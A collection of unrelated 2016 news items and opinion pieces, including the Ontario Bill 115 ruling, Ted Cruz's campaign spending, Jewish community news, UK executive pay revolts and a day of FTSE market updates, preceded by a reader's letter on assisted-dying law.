There is no respect in that statement for me as a citizen or human being. If I have lost both legs and my eyesight due to diabetes, I will not be allowed to choose to die despite my physical and mental suffering because my death will not be foreseeable.

If I have ALS and am almost completely paralyzed, I will not be able to choose to end my suffering.

If I am diagnosed with dementia and am terrified of what lies ahead, I will not be allowed to write down my desire to have my life ended when I can no longer recognize my loved ones.

Basically I have almost no rights that I do not already have. Unless I am facing imminent death from a terminal illness like cancer, I shall still be forced to use clandestine exit methods, or to use my kids inheritance to travel to Switzerland for help.

Shame on the Liberals. Shame on the Star.

Susan Bracken, Barrie

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Ontario education unions say its too early to talk about what they will seek in light of a ruling that found the Liberal government interfered in collective bargaining when it imposed contracts on teachers and staff back in 2012, though court costs are an obvious start.

Education Minister Liz Sandals said shes waiting for word from her departments lawyers on what the remedy will entail and whether the ruling should be appealed.

People are reviewing the ruling. I am not a lawyer, said Sandals, who tried to distance herself and Premier Kathleen Wynne from the controversial bill. However, both voted in favour of it when Dalton McGuinty was premier and Laurel Broten education minister.

Those were the circumstances at the time, said Sandals, noting the new Wynne administration decided to repeal Bill 115 after McGuintys departure in 2013.

Regardless, the Liberal government faced stinging criticism from opposition parties.

NDP Leader Andrea Horwath said the bill was used to help the Liberals wrest the riding of Kitchener-Waterloo from the Progressive Conservatives in a byelection that was ultimately won by New Democrat Catherine Fife.

They willingly violated the Charter rights of educational workers in this province for political gain, Horwath told reporters, predicting the remedy will involve money.

Ontarians will pay once again, she added. They already paid with the chaos that was unleashed in the school system.

Bill 115 not only forced contracts on education unions, but also froze wages and affected workers ability to strike. On Wednesday, Ontario Superior Court Judge Thomas Lederer ruled the legislation substantially interfered with negotiations.

York University professor and labour law expert David Doorey said its difficult to predict what the remedy would be because there are multiple unions involved whose members were affected differently by the unconstitutional actions of the government.

A remedy usually aims to restore the victims to the positions they would have been in but for the Charter violation. So it is up to the unions to come forward and explain what harm they or their members suffered. Insofar as that is monetary losses, the government could be ordered to pay.

Sam Hammond, president of the Elementary Teachers Federation of Ontario, called the ruling an absolute vindication for our members and said the parties will now try to settle on the remedy sought, or go back to the (judge) to do so. Costs is an obvious one we are looking at, other than that, we are looking at our options.

He said whatever the costs  as I said a long time ago  the Liberals should have thought of that at the time.

Michael Barrett, president of the Ontario Public School Boards Association, called Bill 115 a dark period in teacher, board and ministry labour relations and school boards did not support it.

It will be interesting to see what the ramifications of the remedy are, he said, wondering if things like sick days or the controversial hiring Regulation 274  that imposes seniority when supply teachers apply for positions  would be rolled back.

Wynne, meanwhile, acknowledged that Bill 115 was was very problematic. When I ran in the leadership starting in 2012 I was clear that we needed to move away from the rancour that had been created because of that legislation, she said.

Its been repealed because its not how we wanted to go forward in our relationship with the education sector and we put a different process in place. We worked with the sector to put a new process in place and I know that there are still refinements that well need to make to the bargaining process that is there, but that piece of legislation has been repealed. I was very clear about it in my leadership and have acted on that as the premier.

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(from l to r) Members of the Train De LOuest, Baie dUrfe Mayor Maria Tutino, former Beaconsfield Mayor Bob Benedetti, co-founder Clifford Lincoln, Marie-Claire Tanguay, Jacques Cote and co-founder Georges Nydam cannot help but grin from ear to ear knowing that the CDD has approved the light rail project scheduled to be built by 2020. Trains will run every 6 to 12 minutes for 20 hours every day.
President Barack Obama and his wife first lady Michelle Obama are greeted by Britain's Queen Elizabeth II and Prince Phillip after landing by helicopter at Windsor Castle for a private lunch in Windsor, England, Friday, April, 22, 2016. (AP Photo/Alastair Grant Pool)
Sen. Ted Cruz of Texas is burning through money nearly as fast as he is raising it, intensifying the pressure on his campaign to expand its donor base.

As he makes a final, urgent push to close the gap with GOP presidential front-runner Donald Trump, Cruz has kept up a frenetic spending pace. In March, he raced through $11.8 million out of the $12.5 million that his campaign collected  a burn rate of 94 percent, new Federal Election Commission filings show. He headed into April and the expensive New York primary with $8.8 million in the bank.

More than half the money Cruz spent last month  $6.6 million  went to ads. But his campaign also plowed resources into trying to cultivate new donors, shelling out more than $376,000 on list rentals and fundraising phone calls.

Thats because the senator from Texas has struggled to consolidate the Republican donor base, even as he has emerged as the last main rival to Trump. In March, when Sen. Marco Rubio ceded the fight and dropped out, Cruz raised just $700,000 more than he did in February, when the field was still crowded.

Supporters said the giving has picked up this month. On Monday, Cruz headlined a $1,000-a-head fundraiser at the Harvard Club in Manhattan that drew former Rubio backers and Wall Street executives.

It was very well-attended and very crowded, said Anthony Gioia, a Buffalo fundraiser who was a top bundler for George W. Bush and supported Rubio before he withdrew. Even after Cruzs loss in New York Tuesday, there is still a fair amount of optimism in the campaign, he added.

Still, Gioia was not sure how much money he could help bring in for Cruz in the coming weeks.

We just did so much for Marco, I dont know how much is left, he said.

That same challenge has hampered the pro-Cruz super PACs as they have solicited big checks. In March, four of the groups  Trusted Leadership PAC, Stand for Truth, Keep the Promise I and Keep the Promise III  together raised $8 million. Of that, $2 million came from Robert Mercer, who had previously given $11.5 million to the pro-Cruz effort. Another $1 million came from Chicago-based shipping magnate Richard Uihlein, who had already given $1 million.

New donors are coming over, though slowly, said Kellyanne Conway, a senior strategist for the super PAC network.

The major challenge is still how absolutely exhausted and fatigued so many of these donors are because they gave early, often and generously, she said. There is a bit of, Maybe I can help you with the convention. If youre the nominee, Ill be there. Its that fatigue factor.

Nevertheless, Conway said the super PACs had sufficient resources to run targeted campaigns in upcoming states such as Indiana, Nebraska, Oregon and California.

I would rather see us go full-bore in states that are most hospitable to Cruzs message and vision than play scattershot, she said, Were looking at Indiana as a huge inflection point.

(c) 2016, The Washington Post  Matea Gold, Anu Narayanswamy
US Council General to Jerusalem Donald Blome and members of his team participated in a visit to a matzah bakery together with Deputy Education Minister Meir Porush.

The group visited the Jerusalem Matzah bakery, also accompanied by Deputy Mayor Yossi Deutsch and the foreign desk liaison of Agudas Yisrael Aaron David Davis. A number of other consulate officials participated as well including Ms. Suzanne Balsam and Mr. Richard Bangan.

The began in the matzah bakery in the Beis Yisrael neighborhood of the capital and saw the baking along with a detailed explanation from Porush. He explained the matter of kneading the dough in a timely fashion and how once the flour and water are mixed the clock begins ticking until the finished product emerges from the oven, which we refer to on Pesach as bread of affliction.

Mr. Blome told his host that he found the process quite impressive, especially because he has participated in a seder in the past and was actually wondering how the matzos were made.

They continued down Meah Shearim Street, taking in the Pre-Pesach atmosphere and the bustling of the residents, all busied with yomtov preparations and shopping. The persons overseeing the distribution of packages to the needy ahead of yomtov explained that millions of dollars were raised ahead of yomtov to purchase the yomtov necessities to assist the many in need. This includes thousands of kilograms of apples, carrots, onions, and eggs. In addition, they give out thousands of bottles of wine, tens of thousands of boxes of matzos, 40,000 kg of meat, and over 1 million eggs.

Deputy Mayor Deutsch gave an overview to the guests regarding the extensive chessed organizations that exist in the chareidi community including the distribution of yomtov essentials before Pesach. Deutsch detailed the distribution they were observing would find its way to tens of thousands of families, some 120,000 people.

Consul General Blome asked why the major operation before Pesach, to which Deutsch explained in the haggadah an invitation is extended to all who are hungry          as well as the paramount importance surrounding the fulfillment of the mitzvos of seder night.

The consulate officials warmly thanked their hosts for the unforgettable experience and the opportunity to familiarize themselves with chareidi life, especially these days. They agreed on continuing to cooperate with one another in the future.

(YWN  Israel Desk, Jerusalem)
There is serious concern among air traffic controllers at Tel Avivs Ben-Gurion International Airport caused by regular interference in broadcasts coming from radio stations in Ramallah.

According to officials in the Ministry of Communications, actions have been taken to silence the radio broadcasts that interfere with airport activities.

Air traffic controllers explain if the interference returns there will be delays in flights as a result.

(YWN  Israel Desk, Jerusalem)
In his meeting on Thursday 13 Nissan in Moscow, Prime Minister Binyamin Netanyahu explained to Russian President Vladimir Putin that Israel is doing all it can to prevent the opening of another terror front against Israel, with that being the Golan Heights.

Mr. Netanyahu visited Russia on Thursday for a one-day flash meeting with President Putin to discuss a number of issues, including Russias recent sale of the sophisticated S-300 antiaircraft system to Iran.

Israel this week came under fire from the international community after PM Netanyahu decided to hold a cabinet meeting in the Golan Heights to mark the cabinets first anniversary. Syria released a statement vowing to retake the Golan and condemnatory messages were released by both the United States and France.

(YWN  Israel Desk, Jerusalem)
A Lufthansa Airlines flight traveling from Munich to Ben-Gurion International Airport was forced to turn around and return to Germany on Thursday, 13 Nissan. Reportedly, there were many Israelis on board, presumably returning home for Pesach.

Reports state that one of the planes engines malfunctioned, compelling the decision to turn around.

According to an NRG News report, among the Israelis on board was MK (Machane Tzioni) Ksenia Svetlova.

It is reported a large bang was heard when the engine cut off shortly following takeoff. Svetlova told Israeli news that there was fear among passengers, some of whom screamed.

(YWN  Israel Desk, Jerusalem)
Following an Order issued by the New York State Department of State on April 18, 2016, requiring the Town of Ramapo to take certain steps to enforce the States Uniform Fire Prevention and Building Code, including a series of inspections of nonpublic school buildings, a group of some 40 yeshiva leaders have pledged their full cooperation with Town officials in carrying out the terms of the Order.

The yeshiva leaders, representing Jewish schools from across the Town of Ramapo, met on April 20 in the offices of the Yeshiva Association of Rockland County. Town of Ramapo officials reported to the group about the April 18 Order, and discussed with them the Towns plans to conduct a series of fire safety inspections in a number of yeshivos in the weeks ahead.

After the Town officials left, Rabbi Chaim Dovid Zwiebel, executive vice president of Agudath Israel of America, addressed the yeshiva leaders. The discussion focused on the importance of working together with the Town to ensure that school facilities are fully compliant with applicable safety standards.

It was heartening to hear these yeshiva leaders, who are under tremendous pressure in so many different ways, commit themselves fully and unambiguously to the safety and wellbeing of their students and staff, said Rabbi Zwiebel. What emerged from their meeting was a strong and impressive resolve to fully comply with all applicable safety laws.

The yeshiva leaders made that resolve tangible, by signing a statement declaring their commitment to cooperate with the Town of Ramapo as the Town carries out its responsibilities under the April 18 Order. The text of the yeshiva leaders statement follows:

STATEMENT:

Concerns have recently been raised about the safety of certain nonpublic school buildings in the Town of Ramapo. Of particular note is the Order issued on April 18, 2016, by the New York State Department of State, ordering the Town of Ramapo to take certain immediate steps to address these concerns.

We, the undersigned leaders of Jewish schools throughout the Town of Ramapo, pledge our full cooperation with the Town in carrying out the terms of the April 18 Order.

We believe that the large majority of our institutions are in fact safe, and in full compliance with applicable fire and safety standards. However, to the extent that there are any deficiencies in this regard, we will take all necessary steps to work with the Town to address those deficiencies. The physical safety of our precious students and staff are of paramount importance to us, and must never be compromised in any way.

April 20, 2016

[Signatures on file with Yeshiva Association of Rockland County and Agudath Israel of America]

(YWN world Headquarters  NYC)
Councilman David G. Greenfield will be funding four projects to improve neighborhoods in his district following the results of this years participatory budgeting process. Over 2,300 people in Greenfields district voted to pick the projects that they wanted funded. Greenfield pledged to fund those projects in the budget to give his constituents a direct voice in how money is allocated from New York City to his communities.

More people cast a ballot in my district this year than ever before, Greenfield said. I want to thank everyone who voted and volunteered to make this years participatory budgeting process the best year ever. I am thrilled to fund these projects that my constituents have decided are a priority. After all, nobody knows the community better than those who live there

The top four winning projects were:

District-wide street resurfacing by the Department of Transportation ($200,000)

Ambulances for Hatzolah Volunteers  ($250,000)

New OHEL Community Center ($500,000)

Beth Jacob UPK Rooftop Jungle ($250,000)

The winners were the top four vote-getters from a ballot containing 13 projects and initiatives suggested by members of the community. Greenfield will also be funding $100,000 for NYPD security cameras in Benshonurst which was the first runner-up in the vote.

Greenfield and his staff spent last week canvassing all parts of the district, from Borough Park to Midwood to Bensonhurst, talking with members of the community and collecting votes. Voting took place from March 27th to April 3rd, with voting locations open across the district each day. In the end, with more than 2,300 ballots cast, voters in Councilman Greenfields chose how to allocate $1.2 million of their tax money, and the projects they selected will be funded in the upcoming New York City budget slated to pass before the end of June.

Participatory Budgeting is a Council initiative that offers voters transparency and agency in how their tax dollars are spent. Greenfield has been a strong supporter of PB ever since his election in 2010. This is my fifth year engaging the community in participatory budgeting. The response has been great, Greenfield said. Im really thrilled that so many people chose to take part this year.

(YWN Desk  NYC)
A Florida man who piloted a one-person gyrocopter through some of the most restricted U.S. airspace and landed on the lawn of the Capitol in Washington in 2015, was sentenced Thursday to 120 days in jail.

Douglas Hughes, 62, was sentenced in federal court in Washington by Judge Colleen Kollar-Kotelly.

Hughes has said his April 15, 2015, flight in the bare-bones aircraft was a way to call attention to the influence of big money in politics. The former mail carrier from Ruskin, Florida, was carrying letters for each member of Congress on the topic of campaign finance and the tail of his aircraft had a postal service logo.

Hughes pleaded guilty in November to a felony of operating a gyrocopter without a license.

Prosecutors had asked for 10 months in prison, arguing that his flight from Gettysburg, Pennsylvania, to the nations capital put countless lives at risk.

In a court document they filed ahead of the sentencing hearing, they argued Hughes flight put unsuspecting people in real danger, disrupted operations at the United States Capitol, and demonstrated a profound disrespect for the law and the legitimate rights of others. Hughes craved attention and violated important public safety laws because he wanted people to pay attention to his political views, prosecutors wrote.

Hughes attorneys had said that he should be allowed to remain out of jail. In a statement to the court they underscored that no one was injured as a result of Hughes flight. They called the stunt an act of aerial civil disobedience and a freedom flight and said it was in the nations proud tradition of nonviolent civil disobedience.

The attention his flight gained, Mr. Hughes hopes, will force the nation to finally confront the issue of campaign finance rather than continue to ignore the problem. For this reason, Mr. Hughes should be considered a hero for his conduct, his attorneys wrote.

Hughes attorneys and prosecutors disagree about how much danger the public was in as a result of his flight. Prosecutors wrote Hughes had close encounters with several aircraft and flew dangerously close to a commercial flight departing a Washington-area airport. Hughes said that wasnt true.

(AP)
A rabbi is accusing kosher foods manufacturer Manischewitz of pushing him out as its longtime inspector of holiday matzos after he complained it wasnt sticking to strict Jewish religious practices.

Rabbi Yaakov Horowitz filed a lawsuit against the Newark, New Jersey, company Wednesday, days ahead of Passover.

Horowitz was the chief supervising rabbi at The Manischewitz Co. He worked for the Union of Orthodox Jewish Congregations of America, which supplies supervising clergy to independently ensure kosher standards are kept at food producers.

The union also is named in the lawsuit, which was filed in New York City and seeks millions of dollars in compensation for emotional distress and damage to the rabbis reputation.

The Orthodox Union says the lawsuit is entirely without merit and Manischewitz meets the highest kosher standards.

Manischewitz officials have no comment.

(AP)
Michelle and I send our best wishes to everyone celebrating Pesach in the United States, in the State of Israel, and around the world.

One of Passovers most powerful rituals is its tradition of storytelling  millions of Jewish families, friends, and even strangers sitting together and sharing the inspirational tale of the Exodus. Led by a prophet and chased by an army, sustained by a faith in God and rewarded with deliverance, the Israelites journey from bondage to the Promised Land remains one of historys greatest examples of emancipation. This story of redemption and hope, told and retold over thousands of years, has comforted countless Jewish families during times of oppression, echoing in rallying cries for civil rights around the world.

Mah nishtana halailah hazeh? For Michelle and me, this Passover is different from all other Passovers because it will mark our last Seder in the White House  a tradition we have looked forward to each year since hosting the first-ever White House Seder in 2009. We will join millions around the world to celebrate redemption at Gods mighty hand and pray for those who still are denied their freedom. We dip the greens of renewal in saltwater to recall the tears of those imprisoned unjustly. As we count the 10 Plagues, we spill wine from our glasses to remember those who suffered and those who still do. And as we humbly sing Dayenu, we are mindful that even the smallest blessings and slowest progress deserve our gratitude.

Passover gives us all a special opportunity to renew our belief in things unseen even as the future remains uncertain. May this season inspire us all to rededicate ourselves to peace and freedom for all of Gods children. From our family to yours, chag sameach.

(YWN World Headquarters  NYC)
Every so often, anger at pay in the boardroom boils over into a full-scale revolt, a great deal of teeth gnashing and promises of reform.

Britain has long taken pride in having the strongest governance code in the world.

The result is that annual reports (which these days can only be viewed online) carry pages of governance verbiage and even more pages of incomprehensible detail on incentive arrangements for directors.

None of this stops the pigs from engorging themselves at the trough.

The list of pay offenders under scrutiny becomes longer each day as we march through the annual general meeting season.

In the frame: Schroeders ceo Michael Dobson, is stepping up to chairman on a doubled salary, while Nigel Wilson of Legal and General, right, cannot be expected to be taken seriously when he pockets pay of 4.2m

Revolts already have taken place at Smith & Nephew, BP, Anglo American and HSBC.

The Investment Association, which represents big battalion shareholders from the insurers and pension funds, is calling for sweeping reforms of the long-term incentive plans put in place by the Greenbury committee in the 1990s, to align the interests of investors with managers.

The idea was sensible but has been totally distorted by weak-minded boards and, yes, inattentive fund managers, who have been feathering their own nests.

Nigel Wilson of Legal and General, who is among those urging restraint, is a fine fellow with great ideas for investing in Britains infrastructure and housing.

But he cannot be expected to be taken seriously when he pockets pay of 4.2million. Looking after the savings of ordinary citizens ought to be a utility service, not an opportunity for leading investors to adorn themselves in sackcloth while paying themselves handsomely.

Michael Dobson of Schroders is up to his neck in criticism for riding roughshod over governance rules by stepping up from chief executive to chairman on a doubled salary. This does not befit a company which should be an exemplar.

Rather than supporting better governance, Schroders makes up its own rules.

Shamed credit card firm CPP may not be the easiest outfit to defend but it is preposterous that Schroders is backing an attempt to reinstate tarnished founder Hamish Ogston.

There is a view that Schroders can behave with impunity because of the 47 per cent family economic interest in the firm. But, as the custodian of other peoples savings, it has a duty to behave in an exemplary way.

One of the models for better governance often quoted is that of the John Lewis Partnership. It, too, is betraying its obligation to its partners through boardroom greed.

Former Waitrose boss, the self-ridiculed fat grocer Mark Price who left suddenly last year, has marched off with a compensation package of 1.87million.

His ultimate boss, Sir Charlie Mayfield, collected 1.52million in pay, or 73 times the average partner.

That may be much better than the 140 times average pay in FTSE boardrooms but is way out of kilter with fairness in an age of inequality and austerity.

It is good that the Investment Association wants reform, but lack of self-discipline among its members undermines its work.

Banking now has a legal process of clawback for undeserved bonuses. Mexico money-laundering, Middle East sanctions-busting and Panama and Geneva tax avoidance scandals should be good enough reasons to apply clawback rules to HSBC chiefs Stuart Gulliver and Douglas Flint.

The fact that they are both expected to walk the plank, first Flint as chairman, then Gulliver as chief executive, is no reason for caution.

Clawback also ought to be possible at BP, Anglo American and other companies which badly underperformed.

What is required is for governance to be underpinned by law. Votes against pay should be binding, not voluntary.

Long-term incentive schemes should be five to seven years, not three, and never multi-layered. Once in place, that should be it.

And at the very least there should be full disclosure of the ratio of board pay to average workers pay  it should be on page one of the annual report, not buried in the never-ending notes to the accounts.

Finally, the quasi-official Financial Reporting Council needs strong enforcement powers akin to those held by the Financial Conduct Authority.

David Camerons Government must embrace a more populist form of capitalism which drives a nail into the coffin of unfettered boardroom complacency and avarice.

Raw deal

The cosy merger of equals between Deutsche Boerse and the London Stock Exchange is doing nothing for the popularity of those who dreamt up the deal.

LSE chairman Donald Brydon is being derided on Wall Street for his carelessness in putting the LSE into play when it was unnecessary.

The chief executive-elect of the merged exchange, Carsten Kengeter, has received unwanted attention from the Wall Street Journal over his alleged connections to the Libor scandal.

Now the French financial world is up in arms that French economy minister Emmanuel Macron is set to present LSE chief executive Xavier Rolet with the legion dhonneur, given the DB-LSE deal leaves Paris out in the cold as a financial centre.
17.50: In London, it was a torrid day of trading for blue-chip oil and mining companies, with Glencore tumbling nearly 3 per cent or 5p to 161.8p

on falling copper prices. BP and Royal Dutch Shell were also down 0.3p to 368.3p and 17p to 1826.5p respectively.

In stocks, Anglo American was down 14.5p to 732.8p after 42 per cent of shareholders opposed its remuneration report, which included a 3.4million pay deal for chief executive Mark Cutifani.

Mixed bag: McDonalds shares have climbed as the fast food chain revealed stronger-than-expected quarterly earnings, but US heavy machinery maker Caterpillar has lowered its sales and profits forecast for this year

Banking giant HSBC fell 5.4p to 466.5p as shareholders waved through its remuneration report after the bank said it would take steps to review pay packages for executive directors following concerns from shareholders.

Supermarket giant Sainsbury's stepped up 3.6p to 292.4p after Deutsche Bank upgraded the grocer from hold to buy in the wake of its takeover of Argos owner Home Retail Group.

Tesco also raced ahead after receiving an upgrade from Fitch from negative to stable as it swung back into the black earlier this month. Shares in Tesco lifted 1.6p to 186.6p.

Mr Kipling cakes firm Premier Foods saw its share price come under pressure after it said Japanese noodle maker Nissin had the right to appoint a non-executive director because its shareholding is above 15 per cent. Shares in Premier Foods dropped 0.3p to 39p.

The pound was up 0.5 per cent against the dollar at $1.438 amid easing concerns over the threat of Britain leaving the European Union.

Sterling was also up 0.9 per cent against the euro at 1.28.

The biggest risers in the FTSE 100 were Sainsbury's up 3.6p to 292.4p, Travis Perkins up 21p to 1827p, Tesco up 1.6p to 186.6p, Kingfisher up 3p to 364.4p.

The biggest fallers were Paddy Power down 340p to 8375p, Land Securities Group down 34p to 1074p, Associated British Foods down 96p to 3131p, Glencore down 4.9p to 161.8p.

17.01: The FTSE 100 closed down 71 points at 6310.44. More to come.

15:20: The Footsie was limping towards weekly fall in three weeks, despite US stocks on Wall Street edging up at the opening bell.

With just over an hour to go, the FTSE 100 was 69.3 points down at 6,312.1.

In the US, the Dow Jones industrial average edged up 8 points, or 0.1 per cent, to 17,991.0 - driven by stronger-than-expected quarterly earnings from McDonald's.

Meanwhile, the Standard & Poor's index was little changed at 2,092 and the technology-heavy Nasdaq composite fell 34 points, or 0.7 per cent, to 4,911.

US investors were again left assessing mixed quarterly reports, with bellwether companies such as Caterpillar announcing reduced sales and profits forecasts and General Electric still trying to find its feet amidst an ongoing radical restructure.

But unlike the UK, oil and gas companies benefited from an uptick in energy prices.

However tech companies were suffering.

A number in the sector released poor results after the closing bell late last night.

This has caused Microsoft to drop 7 per cent this session, while Google parent Alphabet also fell 4 per cent after its results fell short of forecasts.

Several other companies were also moving on earnings news.

Visa fell 2 per cent after cutting its revenue forecast for the year, while railroad operator Norfolk Southern jumped 8 per cent rose as it slashed costs.

Earnings statements out of the US have dominated proceedings around the world today.

Connor Campbell, at Spreadex, said: 'Whilst the European markets continued to fall this Friday the US markets got off to a decent enough start, the Dow Jones rising in part due to some good news from the Golden Arches.

'In stark contrast to the minor gains see in the US the FTSE plunged as the afternoon continued, the index suffering under the weight of its falling commodity stocks.

'Its a limp end to what was looking like an incredibly strong week, the FTSE now nearing 6300 after being as high as 6430 on Thursday.'

He added: 'Over in the Eurozone the DAX and CAC saw their gains shrink, if not completely disappear, as the day went on, vaguely positive chatter from the mornings Eurogroup meeting easing some of the markets fears.

'Yet there is still plenty to do if Greece is to avoid defaulting on the whopping 10 billion in debt repayments it faces over June and July, the regions finance ministers expected to meet once again next Thursday to try and hash out a deal.'

13:00: The Footsie is on course for its first weekly fall in three weeks amid weak US earnings, falling commodity and mining stocks, problems with Europe's biggest car manufacturers and the prospect of Greek debt rearing its ugly head once again this summer.

At lunch the FTSE 100 index was off 67.2 points at 6,314.0, while in Europe France's CAC 40 index down 0.2 per cent, and Germany's Dax 30 had fallen 0.4 per cent.

The falls in Europe were sparked by fresh enquiries into car manufacturers emissions practices and a Eurozone ministers meeting in Amsterdam - which was set up to discuss the timeline for the completion Greece's economic adjustment programme.

Tetchy: It's been an uneasy session's trading with little for brokers or investors to cheer this morning

Investors will now be looking for a positive open on Wall Street, in order to boost sentiment this afternoon.

Chris Beauchamp, at IG, said: 'Investors will be hoping numbers this afternoon from US stalwarts McDonalds and General Electric might help to lift the mood, but with oil in the red again prospects for a good end to the week currently look poor at best.'

In London, there was little for traders to cheer after flat brent crude prices forced mining, commodity and oil majors down.

At lunch, Anglo American had fallen 4 per cent, or 25.7p at 721.0p.

Rio Tinto lost 78.0p to 2327.5p, while oil giants BP and Royal Dutch Shell also dropped 6.1p to 362.5p and 36p to 1807.5p respectively.

The one bright spot was supermarkets, thanks to some analyst upgrades.

Sainsbury's climbed 4.6p to 293.4p after Deutsche Bank upgraded the grocer from hold to buy in the wake of its takeover of Argos-owner Home Retail Group.

Tesco also raced ahead, up 2.8p to 187.8p, while Morrisons climbed 0.1p to 191.3p.

However luxury retailers and food manufacturers were under pressure.

Luxury goods group Burberry was 1.4 per cent lower, or 23.0p, at 1,241.0p after French peer Kering posted a slowdown in growth at its flagship Gucci brand.

Meanwhile Mr Kipling cakes firm Premier Foods saw its share price slide after it said Japanese noodle maker Nissin had the right to appoint a non-executive director because its shareholding is above 15 per cent.

It comes after the firm rejected a the third takeover offer from Schwartz spice US owner McCormick & Company last month worth 537million.

The spice and herbs giant put forward a proposal worth 65p a share for Premier, which also owns Oxo, Bisto and Sharwood's.

The board of the St Albans-based firm said the proposal undervalued the company's prospects.

Investor attention will turn to the HSBC AGM this afternoon.

The event officially kicked off an hour ago and topics for discussion include executive level pay and the appointment of a new chairman.

11:00: The Footsie was firmly in the red by late morning as UK investors pulled out of mining and commodity stocks, while European car manufacturers were also having a tough time.

The London index was off 52.1 points at 6,325.5, with Anglo American, Rio Tinto, Glencore, Antofagasta and Shell all rooted to the foot of the table.

In Europe France's CAC 40 index down 0.4 per cent, and Germany's Dax 30 was off 0.8 per cent after renewed fears that the emissions scandal, which has embroiled Volkswagen, could spread to other manufacturers.

Car sales: Daimler profits were hit by a decrease in sales of S and E class Mercedes Benz cars

Last nigh Mercedes Benz maker Daimler announced it had launched an internal probe into its emissions certification process.

It also reported a 32 per cent slump in net profit to 1.4billion in the first quarter. Profits were hit by a decrease in sales of S and E class Mercedes Benz cars.

At the same the Eurozones manufacturing and service sector appears to be stuck in a slow growth rut.

According to data firm Markit, the region's manufacturing PMI fell to 51.5 in April, slightly below 51.6 in March, but well short of economist forecasts of a 51.9 reading.

The services sector index came in at 53.2, very slightly ahead of 53.1 in March, but also undershooting economists forecasts of 53.3.

In London, mining stocks and oil majors have dominated the list of index's biggest losers after a resurgence in the US dollar in the past 24 hours and brent crude running into a technical barrier at around $46 per barrel.

Anglo American's investor protest over executive pay at its annual general meeting yesterday has also unsettled the sector.

Chairman Sir John Parker said the FTSE 100 firm would take a 'fresh look' at its pay policy over the next year and put it to a vote at the 2017 AGM.

The mining giant was down more than 3 per cent, or 24.4p at 723.1p, after 42 per cent of shareholders opposed its remuneration report, which included a 3.4million pay deal for chief executive Mark Cutifani.

Oil giants BP and Royal Dutch Shell also dropped 6.4p to 362.2p and 32.5p to 1811.0p respectively.

Connor Campbell, at Spreadex, said: 'The global markets look decidedly haggard this Friday, perhaps a tad overtired from their start of the week surge.

'Slipping around 1 per cent (and losing much of the weeks growth) the FTSE was the biggest loser this morning, the UK index dragged down by a rather sharp decline by its mining stocks.

'It is somewhat unclear what has caused this mining-reversal; the manufacturing softness form the Eurozone may have contributed, ditto yesterdays shareholder revolt over Anglo American CEO Mark Cutifanis pay.

'Regardless of what the is the cause the sectors sluggish performance is preventing the FTSE from ending the week on the 2016 highs struck over the last couple of days.'

08:20: The Footsie has opened lower after yet more poor earnings results released in the US overnight and ahead of President Barack Obama's visit to London, when he is expected to say that Britain is better off inside the European Union.

In early trading the FTSE 100 index was down 34.0 points at 6,347.2, having slid 28.82 points yesterday - hit by a drop in the shares of miner Anglo American and broadcaster Sky.

After the closing bell on Wall Street last night, Google parent-company Alphabet, Microsoft, Visa and Starbucks all posted disappointing quarterly results.

Sign of the times: Surrey Mum's favourite Volvo has annaounced a sharp slide in orders from North America and Asia, pointing to sluggish global growth in the months ahead

Michael Hewson, at CMC Markets, said: 'Earnings misses for Microsoft and Alphabet (Google) after the bell last night have made for a weaker open for European markets this morning.'

Market sentiment has also been dented by Asia after Japan recorded its worst manufacturing performance since January 2013, according to Markit.

The Shanghai Composite and Hong Kong's Hang Seng indices both slid.

In Europe there have been yet more woes for investors in some of the Continent's biggest car manufacturers.

Volkswagen has announced it plans to buy back around 500,000 cars affected by the emissions scandal in the US at a potential cost of 30billion, while Volvo has reported a slide in first quarter earnings and predicted a larger downturn in North America and Brazil.

Meanwhile Mercedes maker Daimler has seen operating profit fall 9 per cent in the first quarter, despite it enjoying a record 36 per cent jump in mercedes sales in China

Nevertheless with an annual turnover of 200billion and the backing of the German government, VW will be able to afford it, analysts have said.

In London HSBC shareholders will hope to hear more details on the bank's succession plan when it holds its annual general meeting later today.

Chairman Douglas Flint announced last month that the hunt had began for his successor, who will also take charge of finding a new chief executive to replace Stuart Gulliver, the bank's current group chief executive.

Speculation suggests insurance boss Henri de Castries could be lined up to take over following his decision to step down as chairman and chief executive of French insurance giant Axa last month.

Stocks in focus in London include:

SHELL - The oil company is working on selling out of its onshore assets in Gabon.

ASTRAZENECA: The drugmaker is launching a gene hunt to unlock routes to new medicines.

HSBC - The bank holds its annual general meeting today.

UK company news scheduled today includes:

Trading update: Record, Immunodiagnostics, Reckitt Benckiser

Economic news scheduled today includes:

EU Markit manufacturing PMI for April at 9am

EU Markit services PMI for April at 9am

EU Markit PMI composite for April at 9am
HSBC pledged to change the pay policy for its executives in the wake of complaints from shareholders, who nevertheless overwhelmingly backed the bank's remuneration report at the annual general meeting today.

Some 90.49 per cent of HSBC shareholders voted in favour of chief executive Stuart Gulliver's 7.3million pay package for 2015 year - as well as for that of chairman Douglas Flint, worth 2.49million.

This is compared to one in four investors voting against at last year's AGM.

The approval of the pay packages comes despite discontent by a lobby group and annual results which disappointed analysts. The group made a 13.3billion profit for 2015  below the 15.4billion experts were hoping for.

Pay: HSBC chief executive Stuart Gulliver, left, and Chairman Douglas Flint received shareholders backing

HSBC said that, in light of complaints, it would cut the amount of cash given to executive directors in lieu of a pension from 50 per cent to 30 per cent of their base salary. It claims that the new policy could reduce the maximum amount its executive directors could earn by 7 per cent.

Earlier this week, shareholder advisory group Pensions and Investment Research Consultants said that, despite the reduction of future benefit plans, the maximum potential awards for executives were still 'highly excessive'.

'We had expected that the remuneration policy you approved back in 2014 would not need to be refreshed until it expired next year,' Flint said.

'However, regulatory changes as well as responding to shareholder feedback have caused us to make some revisions to this, and so we are bringing it back for your consideration this year.

It comes as BP shareholders voted to reject its remuneration report for the last year. This included a pay deal of 13.8million for chief executive Bob Dudley. The vote, however, was only advisory because shareholders had no power to veto it.

Honours list: HSBC has allegedly helped wealthy clients evade taxes as well as drug cartels laundering money

This week the boss of British Gas owner Centrica also has faced investor anger over his 3million pay package during the company's annual general meeting. Chief executive Iain Conn saw 15 per cent of of shareholders reject his pay deal for 2015

And 42 per cent of shareholders in Mining giant Anglo American voted against chief executive Mark Cutifani's 3.4million pay package for last year.

On today's HSBC AGM agenda were also the forthcoming EU referendum and the so-called Panama Papers.

Flint said that in the event of a Brexit, it would move jobs from London to its Paris office. He also said leaving the EU would cause economic uncertainty and was likely have a negative impact on HSBC too.

He said: 'From our own narrow perspective, a decision to leave could require a restructuring of some of HSBC's wholesale operations based in the UK.

'This would clearly depend upon the terms on which the UK would have access prospectively to European markets should the UK vote to leave.

